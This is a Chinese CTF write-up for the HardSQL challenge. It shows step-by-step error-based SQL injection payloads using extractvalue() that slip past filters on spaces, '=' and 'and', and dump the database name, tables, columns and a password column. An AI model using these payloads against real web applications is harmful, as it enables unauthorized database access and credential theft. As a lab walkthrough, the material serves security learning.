报错注入(extractvalue的利用,空格,=,and被过滤,left()和right()的利用)——[极客大挑战 2019]HardSQL 1
题目界面
根据源码可以知道,这里get了两个变量,username和password
发现单引号有报错,双引号没有,没提示有括号,所以应该是普通单引号闭合的字符型注入点
尝试order by爆字段数发现有
说明有过滤,一个个试发现如and/空格/union/select/=//**/等都被过滤了
所以这里尝试报错注入
- 报错注入—>爆数据库名
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23
得到数据库名geek
1、这里的^的意义是异或的作用,具体作用可以去搜索异或注入,这里是为了执行后面的extractvalue函数
2、%23的转义为#,这里只能用%23,直接用#发现会报错
3、因为空格被过滤,这里用()来代替空格
- 爆表名:得到表名H4rDsq1
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23 #语句主要用()绕过了空格,用like绕过了=号
- 爆列名:得到表名id/username/password
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23 #同上,语句不变改一下变量就行
- 找到flag
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23 #这里要注意!select aaa from table_bbb;不需要引号!!!!!
可是只显示了flag其中的一段。
剩下的用right()显示其他位数的
1 GROUP_CONCAT() #将组中的字符串连接成为具有各种选项的单个字符串。 2 CONCAT(s1,s2...sn) #将字符串 s1,s2 等多个字符串合并为一个字符串 3 CONCAT_WS(x, s1,s2...sn) #同 CONCAT() 函数 4 LEFT(s,n) #返回字符串 s 的前 n 个字符 5 RIGHT(s,n) #返回字符串 s 的后 n 个字符 6 SUBSTR(s, start, length) #从字符串 s 的 start 位置截取长度为 length 的子字符串 7 SUBSTRING(s, start, length) #同 SUBSTR() 函数
拼接起来可以得到flag